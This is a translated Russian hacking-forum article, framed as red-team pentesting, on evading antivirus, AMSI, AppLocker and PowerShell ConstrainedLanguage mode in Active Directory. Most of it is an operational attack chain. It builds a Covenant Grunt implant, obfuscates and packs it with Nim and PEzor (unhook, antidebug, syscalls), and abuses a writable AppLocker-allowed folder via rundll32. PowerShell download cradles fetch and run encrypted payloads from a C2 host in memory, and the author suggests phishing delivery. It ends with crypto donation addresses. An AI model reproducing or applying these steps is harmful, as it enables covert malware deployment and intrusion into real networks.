• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Отказ от прошлых мер безопасности в AD

Azrv3l

win32kfull
Эксперт
Регистрация
30.03.2019
Сообщения
215
Реакции
539
Сегодня мы собираемся немного поговорить о возможных способах обойти некоторые меры безопасности, с которыми можно столкнуться во время взаимодействия со средой Active Directory.

Мы, как пентестеры, сильно полагаемся на наши инструменты, такие как Bloodhound, Rubeus, mimikatz и все прочие модные штуки. Будь то внутренняя оценка или тестирование Red Team.

Но Blue Team не дремлет, пытаясь удержать плохих парней снаружи с помощью своих новейших кибер-инструментов машинного обучения ИИ.

1.jpg


Итак, как мы можем безопасно запускать наши инструменты?

Как мы можем обойти AV?
Что можно сделать с AppLocker?
А как насчет режима ConstrainedLanguage PowerShell?
AMSI это кто?

Примечание автора: Извините, все скриншоты на немецком языке. Кажется, я слишком глуп, чтобы менять язык ОС в своей лаборатории. Обещаю, что в следующий раз сделаю лучше.

Введение
Во время пентестов или оценок Red Team все сводится к нашему любимому набору инструментов, содержащему все полезные и непослушные вещи повседневной жизни пентестера.
Проблема для нас в том, что есть три группы людей:
Первая группа - это исследователи безопасности, которые разрабатывают и публикуют эти инструменты с целью предоставления знаний и повышения осведомленности.
Вторая группа - (помимо собственных инструментов) использует эти инструменты и методы для атак на правительства, компании и людей.
Последняя группа - пытается не отставать от первых двух групп, разрабатывая и внедряя механизмы обнаружения и контрмеры для защиты от злоумышленников.

Чтобы доказать нашим клиентам, насколько они хороши (или плохи) в игре с защитником, мы берем на себя роль атакующих, подражая их поведению, инструментам и методам, и смотрим, как далеко мы можем зайти.

Этот пост будет посвящен (по крайней мере, некоторым) инструментам и тактике, которые мы можем использовать, чтобы оставаться незамеченными и чтобы наше программное обеспечение оставалось нетронутым со стороны AV и компании.

Итак, давайте рассмотрим пентест на месте. Мы приходим к заказчику, вытаскиваем наш заклеенный наклейками ноутбук, чтобы произвести впечатление на ИТ-специалистов, и нам передаются учетные данные для учетной записи домена с низким уровнем конфиденциальности и, в конечном итоге, для тестовой машины, присоединенной к домену, с которой мы можем начать нашу работу.

Следующее, что мы, скорее всего, захотим собрать немного информации, мы копируем наш Rubeus.exe на флэш-накопитель и подключаем его к тестовой машине.

БАМММ - удалено!

2.png


3.jpg


AV пометил наш инструмент, потому что известно, что он делает вредные вещи, а плохие парни склонны злоупотреблять его функциями.

Что ж, это лишь одна из возможных ситуаций, с которыми вы можете столкнуться. Итак, давайте рассмотрим некоторые из тех, с которыми я столкнулся во время работы и (в основном) во время обучения в следующих разделах.

Обход AV
Если мы рассмотрим традиционные антивирусные программы (и даже сегодня они работают так - по крайней мере частично), все они имеют какую-то базу данных, которая содержит хэши или байтовые последовательности известных вредоносных файлов, строки, которые, как известно, находятся в вредоносном программном обеспечении. (привет sekurlsa :: logonpasswords) и так далее. Они обновляются, как только поставщик обнаруживает новые угрозы, и продаются как Threat Intel. Поэтому всякий раз, когда AV может исследовать действия на основе файлов, например когда вы открываете файл, и AV подключается к нему и проверяет содержимое внутри, он выполняет свои задачи по оценке того, что он видит в своей базе данных, и в результате показывает вам палец вверх или вниз.

Так что наш вариант здесь очевиден: Каждый общедоступный инструмент или методика, которые вы используете из коробки, рано или поздно будут отмечены поставщиками антивирусных программ путем интеграции соответствующих механизмов обнаружения в свою базу данных. Вот где в игру вступает обфускация. Если вы еще этого не сделали, я настоятельно рекомендую вам уделить время и прочитать некоторые из сообщений блога s3cur3th1sh1t, относящихся к этой теме.

Обфускация может быть такой же простой, как замена строк, или такой сложной, как шифрование целых двоичных файлов, которые разворачиваются во время выполнения.

Замена строк
Давайте возьмем следующий фрагмент кода из полезной нагрузки cobbr's Covenant Grunt:
C:
namespace GruntStager
{
    public class GruntStager
    {
        public GruntStager()
        {
            ExecuteStager();

Вы можете поспорить, что если какой-то AV увидит строку GruntStager, он разозлиться. Имея этот код в нашей VisualStudio, мы можем выделить строку, которую хотим заменить, и нажать ctrl + r, чтобы переименовать функции или переменные, или ctrl + shift + h, чтобы найти и заменить строки во всем проекте. Мы также применим это к общедоступному классу и ко всем другим подозрительно звучащим частям, которые мы найдем, и в конечном итоге получим что-то вроде этого:

4.png


Что мы также можем сделать, так это объединить строки вместо их замены. Так что, например, mimikatz превращается в «mi» + «mik» + «atz». В некоторых случаях этого достаточно, чтобы обмануть AV, если все сделано правильно.

Raste Mouse´s ThreatCheck - полезный инструмент, который пригодится, когда вы хотите протестировать свой новый код на соответствие сигнатурам Защитника Windows или AMSI. Он в основном разделит ваш код на фрагменты определенной длины и проверит его в базе данных Защитника Windows или AMSI, а также сообщит вам, где в вашем коде он помечается.

5.png


Существуют инструменты, которые сделают за вас работу по обфускации. Не стесняйтесь взглянуть на раздел обфускации моего репозитория на github или просто поиграйте в поисковой системе.

Упаковка и расшифровка кода
Если вы активно следите за сообществом InfoSec в твиттере, вы, скорее всего, наткнетесь на репозиторий Offensive Nim от byt3bl33d3r. Эти шаблоны позволяют, например, обернуть исполняемый файл C# внутри Nim и скомпилировать его как исполняемый файл C, таким образом скрывая ваш контент. Вместе с s3cur3th1sh1t они даже доработали его, так что вы можете создать зашифрованную полезную нагрузку внутри двоичного файла Nim и расшифровывать во время выполнения в памяти. Это затруднит обратное изменение, если вам нужно поместить файлы на диск, поскольку декомпиляция откроет только зашифрованный материал C#. Чтобы узнать больше об этом, вы можете посмотреть Playing-with-OffensiveNim.

Существуют также такие инструменты, как amber от Эге Бальчи или PEzor от phra, которые принимают исполняемые файлы C или C ++ и рефлексивно загружают их в память, добавляя некоторые приятные функции, такие как отложенное выполнение в сканерах памяти или избегание перехватов AV и прочее. Я не понимаю даже половины того, что здесь происходит. Но если вы хотите узнать больше, прочтите блоге phra о PEZor.

Все методы, упомянутые выше, могут помочь вам запутать ваш код, поэтому вам не придется развертывать готовые инструменты. Но имейте в виду, что к тому времени также будет отмечен код оболочки. Я провел тест с простым исполняемым файлом hello world C, обернутым PEZor, и получил около 21 обращения к VirusTotal. Теперь вы должны знать, что делать :)

Не трогая диск
Другой подход - не прикасаться к диску с нашим вредоносным контентом, чтобы традиционный антивирус не смог поймать нас при чтении или записи данных. Самым известным мне методом является использование встроенной в PowerShell функции Invoke Expression. Это позволит вам загрузить сценарий из удаленного источника и выполнить его в памяти.
JavaScript:
iex(new-object net.webclient).downloadstring('http://10.55.0.30/grunt.ps1')

Другая возможность - использовать Invoke-SharpLoader от(кто бы мог подумать) S3cur3Th1sSh1t для загрузки и выполнения C# непосредственно из памяти. Хорошо, давайте обойдем Defender, не касаясь диска, и поместим наши полезные данные Grunt по умолчанию прямо в память:

6.png


Бля! Что-то пошло не так. Похоже, нас поймал AMSI, который обнаружил полезную нагрузку Ковенанта.

Мы обошли сигнатурную часть Защитника для файловой системы, но AMSI проверил наш скрипт, когда мы загрузили его в память, передал его Защитнику, который затем обнаружил подозрительные строки, пометив их как вредоносные.

Более точное объяснение будет заключаться в том, что помечен не сам скрипт, а stager C # Grunt, который загружается через Assembly::load в powershell.

Спасибо s3cur3th1sh1t за разъяснения на этом этапе.

Если вы хотите узнать больше о том, как работает AMSI, прочтите этот пост о AMSI и о том, как его обойти.

Мы можем проверить, что это был AMSI, выполнив один из случайных обходов от amsi Обход AMSI для C# от Rasta Mouse и после этого мы увидим, что он работает, когда все функции Defender все еще включены:

7.png


8.png


Я несколько раз терпел неудачу со всеми обходами amsi.fail для полезной нагрузки Grunt. Разговаривая с моим боссом (вы знаете парня с именем l33t, содержащим sh1t и прочее), выяснилось, что для полезной нагрузки C # - 1-й и 2-й стадии полезной нагрузки Grunt, написанной на C# - вам нужен обход на C#. Вы можете видеть, что обход Rasta Mouse загружает код C# в PowerShell через инструкцию Add-Type $Win32 в начале.
Holy moly, но так оно и есть. Спасибо, сэр.

Объединение приёмов
Пришло время объединить некоторые из обсуждаемых техник.

9.jpg


По понятным причинам я играл с Nim, Invoke-SharpLoader, PEZor и прочими безумными штуками. Мои попытки объединить части для создания скрытой атаки привели к двум подходам, которые выглядят следующим образом:

Grunt.exe -> Nim Wrapper -> PEZor -> local execution​

Просто чтобы попытаться избежать локального обнаружения при копировании на диск

1. Создать Grunt.exe

10.png


2. Преобразование Grunt.exe в байтовый массив Nim
JavaScript:
CSharpToNimByteArray -inputfile .\GruntHTTP.exe

11.png


3. Вставьте массив байтов в шаблон загрузчика C # и создайте исполняемый файл C.
JavaScript:
nim c --passL:-Wl,--dynamicbase,--export-all-symbols .\LoadCSharp.nim

4.Оберните исполняемый файл C в PEZor

JavaScript:
PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=10 /root/Desktop/Grunt_Nim.exe -z 2

12.png


5. Размещаем

13.png


Тада! - Grunt подключён
14.png

AppLocker & ConstrainedLanguage mode bypass -> Powershell load script -> AMSI bypass -> Invoke-SharpLoader -> Encrypted Grunt​

Если бы обход AppLocker не требовался, его можно было бы запустить полностью удаленно, то есть в фишинговой кампании, начинающейся с файла .htm или чего-то подобного, что запускает наш скрипт загрузчика. Вся атака проводится на аккаунте с низким уровнем привилегий.

1. Определите способ обойти AppLocker и ConstrainedLanguage

15.png


Чтобы проверить текущий языковой режим PS, мы можем запустить:
JavaScript:
$ExecutionContext.SessionState.LanguageMode

Мы можем выполнить следующий командлет PS для определения всех действующих политик AppLocker:
JavaScript:
Get-ApplockerPolicy -Effective -xml > c:\users\luemmel\Desktop\applocker.xml
16.png


Мы видим, что группе «Все» разрешено запускать файлы из C: \Program Files (x86)\hMailServer\* Мы можем дополнительно проверить ACL в этой папке с помощью следующего командлета PS:
JavaScript:
Get-Acl -path 'C:\Program Files (x86)\hMailServer\' | fl

17.png


Это показывает нам, что группа «Пользователи» имеет права записи в эту конкретную папку. Отлично - здесь кто-то облажался. В Германии мы говорим: «Hart verkackt».
Примечание переводчика: Хахахах

2. Обход AppLocker и ConstrainedLanguage
Итак, теперь, когда мы знаем, как - давайте запачкаем руки.

Скомпилируйте PowerShdll xP3nt4 и скопируйте dll клиенту в C: \Program Files (x86)\hMailServer\ и запустите его:
JavaScript:
rundll32 'C:\Program Files (x86)\hMailServer\PowerShdll.dll',main -w

18.png


3. Подготовьте Invoke-SharpLoader
Зашифруйте наш Grunt.exe по умолчанию
Bash:
 . .\Invoke-SharpEncrypt.ps1 
 Invoke-SharpEncrypt -file C:\Tools_manual\nim-1.4.2\examples\Offensive\GruntHTTP.exe -password LuemmelSec -outfile C:\users\Luemmel\Desktop\Grunt_SharpLoader.enc

19.png


Разместите зашифрованный файл на нашем сервере Covenant в Listeners -> listener -> Hosted Files -> + Create

Адаптируйте сценарий Invoke-SharpLoader для прямой загрузки зашифрованных данных с веб-сервера, добавив это в последнюю строку:
Bash:
 Invoke-SharpLoader -location http://10.55.0.30/Grunt_SharpLoader.enc -password LuemmelSec -noArgs

20.png


И разместите этот файл на нашем сервере Covenant в /Invoke-SharpLoader.

4. Выполните наш скрипт загрузки Powershell
На последнем шаге мы собрали короткий скрипт, который мы можем вызвать из нашей PowerShdll, который выглядит следующим образом:
JavaScript:
 iex(new-object net.webclient).downloadstring('http://10.55.0.30/amsibypass');
 iex(new-object net.webclient).downloadstring('http://10.55.0.30/Invoke-SharpLoader');

Помните что AMSI все еще здесь, поэтому нам нужно обойти его - даже внутри PowerShdll. К счастью для нас, Invoke-Sharploader имеет интегрированный обход C# и ETW, поэтому мы просто заранее позаботимся о обычном обходе PowerShell AMSI.

Загрузите на наш сервер Covenant в /init.

21.jpg


Guns loaded - give em hell

22.png


23.png

24.png


Как видите, Defender очень хотел бы загрузить наш образец для дальнейшего анализа, но - нет.

Заключение
Мы видели, что у Blue Team есть много возможностей значительно усложнить жизнь нападающим. Своевременно обновляйте свои продукты безопасности и правильно их внедряйте. Воспользуйтесь всеми хорошими функциями, которые предлагает вам ваша операционная система или поставщик продуктов безопасности. Мы часто находим клиентов, использующих AV-продукт с отключенными почти всеми функциями. Это случаи, дающие нам самые простые возможности обхода. Поиграйте с тем, что вы узнали здесь, чтобы лучше понять свою инфраструктуру и обнаружить свои слабые места.

Со стороны Red Team я показал вам несколько способов обойти эти защитные механизмы. Идите вперед и начните играть с ними самостоятельно. Создайте себе личный набор инструментов. И последнее, но не менее важное: Не отправляйте образцы в Microsoft или VirusTotal, если вы хотите использовать их при следующей оценке.

На этом пока, ребята. Надеюсь, вам понравилось. Удачного тестирования!

От ТС
Очень интересная и полезная статья! Спасибо admin за ссылку.
Язык автора в некоторых местах было сложно перевести, поэтому я оставлял всё как есть.
В переводе могут быть ошибки, я недавно пропал на месяц в силу некоторых обстоятельств, так что не судите строго.

Оригинал доступен тут

Перевод:
Azrv3l cпециально для xss.pro

BTC: bc1qs2fk7zftnwwhhdrw9ge6ncxrspeyta7dymjwkj
XMR: 47XEeTRbHoHFVZ8eTMoMRvdwtpxyx2fee4XAWMyA18KEMAxGh2jMZurBpGtWSN1obMFo8HQXLvtyoTozSnW8CQy31zaSPBc
ETH: 0xEb8CdE54aBaA7186E9dB8A27f6898C9F02397bab
 
Очень интересная статья, спасибо за перевод. Не могу выдать лайк, кончились на сегодня.
 
Отличная статья, теперь пора ее перечитать, посмотреть ссылки, их много, прочитать информацию в репозиториях, собрать инструментарий и потренироваться ...
Большое вам спасибо за то, что поделились этим.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх